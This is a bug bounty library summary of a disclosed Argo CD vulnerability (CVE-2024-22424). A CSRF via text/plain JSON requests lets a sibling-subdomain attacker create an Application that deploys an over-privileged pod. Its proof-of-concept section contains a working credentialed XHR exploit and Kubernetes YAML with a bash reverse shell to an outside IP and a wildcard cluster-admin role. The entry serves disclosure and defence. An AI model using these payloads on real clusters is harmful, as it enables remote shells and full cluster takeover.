# Argo CD CSRF leads to Kubernetes cluster compromise

Argo CD API accepted JSON bodies with text/plain Content-Type, bypassing CORS preflight; a sibling-subdomain XSS could CSRF-create an Application that deploys an admin pod, compromising the Kubernetes cluster.

- Payout: $4,660
- Severity: high
- Program: Internet Bug Bounty
- Found by: tint0
- Disclosed: 2024-01-29
- CVE: CVE-2024-22424
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/2326194
- Library page: https://bugbountylibrary.com/r/h1%3A2326194
- Tags: area:cloud domain:cloud domain:web impact:privesc impact:rce kind:bounty platform:hackerone sev:high tech:kubernetes tech:rest technique:chained technique:source-review vuln:cors vuln:csrf

**Target:** Argo CD API /api/v1/applications (v2.8.2 and prior)
**Root cause:** Argo CD did not validate the Content-Type header, so a text/plain POST (a CORS-simple request) carrying JSON was accepted without a preflight; combined with Lax SameSite cookies being sent to same-parent-domain origins, cross-origin requests were authenticated.
**Steps:**
1. Attacker gains HTML/JS injection on a sibling subdomain, e.g. marketing.victim.com (same parent as argocd.internal.victim.com).
2. Inject JS: `xhr.open('POST','https://argocd.internal.victim.com/api/v1/applications'); xhr.setRequestHeader('Content-Type','text/plain'); xhr.withCredentials=true;` and send an Application JSON body.
3. Application spec points source.repoURL to attacker repo containing ServiceAccount, Pod with reverse shell, ClusterRole with `verbs:['*']`, and ClusterRoleBinding.
4. Victim employee logged into Argo CD visits the poisoned page; browser sends Lax cookie (same parent domain), no preflight due to text/plain.
5. Argo CD creates the Application; automated sync deploys the pod, granting cluster-admin and a reverse shell to attacker.
**How found:** Researchers noted the long-known CSRF exposure was dismissed as low severity due to SameSite Lax; they reasoned Lax is ineffective for same-parent-domain origins and hypothesized that Argo CD's lack of Content-Type validation would let a text/plain request skip CORS preflight, then validated in a v2.8.2 lab.
**Exploitation:** Precondition: attacker-controlled content on a subdomain sharing the parent domain with Argo CD, plus a logged-in Argo CD user visiting it. No prior knowledge needed since cluster server, project name, and defaults are discoverable. Payload is a single credentialed XHR with text/plain CT creating an Application whose repo defines an over-privileged ServiceAccount/ClusterRoleBinding and a reverse-shell pod; Argo CD auto-syncs it, yielding cluster compromise.
**Escalation:** Chained stored XSS on a sibling subdomain with CSRF to bypass SameSite Lax, then abused Argo CD's deploy privileges to escalate from web request to full Kubernetes cluster-admin.
**Insight:** SameSite=Lax does not protect against attacker content on a sibling subdomain of the same registrable domain; test whether APIs accept JSON bodies under CORS-simple content types (text/plain, form-urlencoded) to skip preflight, especially on internal tools that hold deploy/CI privileges.

## Proof of concept (copied exactly from the original report)

**CSRF XHR creating malicious Argo CD Application**

```
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://argocd.internal.victim.com/api/v1/applications');
xhr.setRequestHeader('Content-Type', 'text/plain')
xhr.withCredentials = true;
xhr.send('{"apiVersion":"argoproj.io/v1alpha1","kind":"Application","metadata":{"name":"test-app1"},"spec":{"destination":{"name":"","namespace":"default","server":"https://kubernetes.default.svc"},"source":{"path":"argotest1","repoURL":"https://github.com/califio/argotest1","targetRevision":"HEAD"},"sources":[],"project":"default","syncPolicy":{"automated":{"prune":false,"selfHeal":false}}}}')
```

**Malicious repo YAML granting cluster-admin pod**

```
apiVersion: v1
kind: ServiceAccount
metadata:
  name: my-sa
---
apiVersion: v1
kind: Pod
metadata:
  name: my-pod
spec:
  serviceAccountName: my-sa
  containers:
  - name: ubuntu
    image: ubuntu:latest
    command: ["bash", "-c", "bash -i >& /dev/tcp/10.0.0.1/4242 0>&1"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: my-role
rules:
- apiGroups: [""]
  resources: ["*"]
  verbs: ["*"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: my-rolebinding
subjects:
- kind: ServiceAccount
  name: my-sa
  namespace: default
roleRef:
  kind: ClusterRole
  name: my-role
  apiGroup: rbac.authorization.k8s.io
```

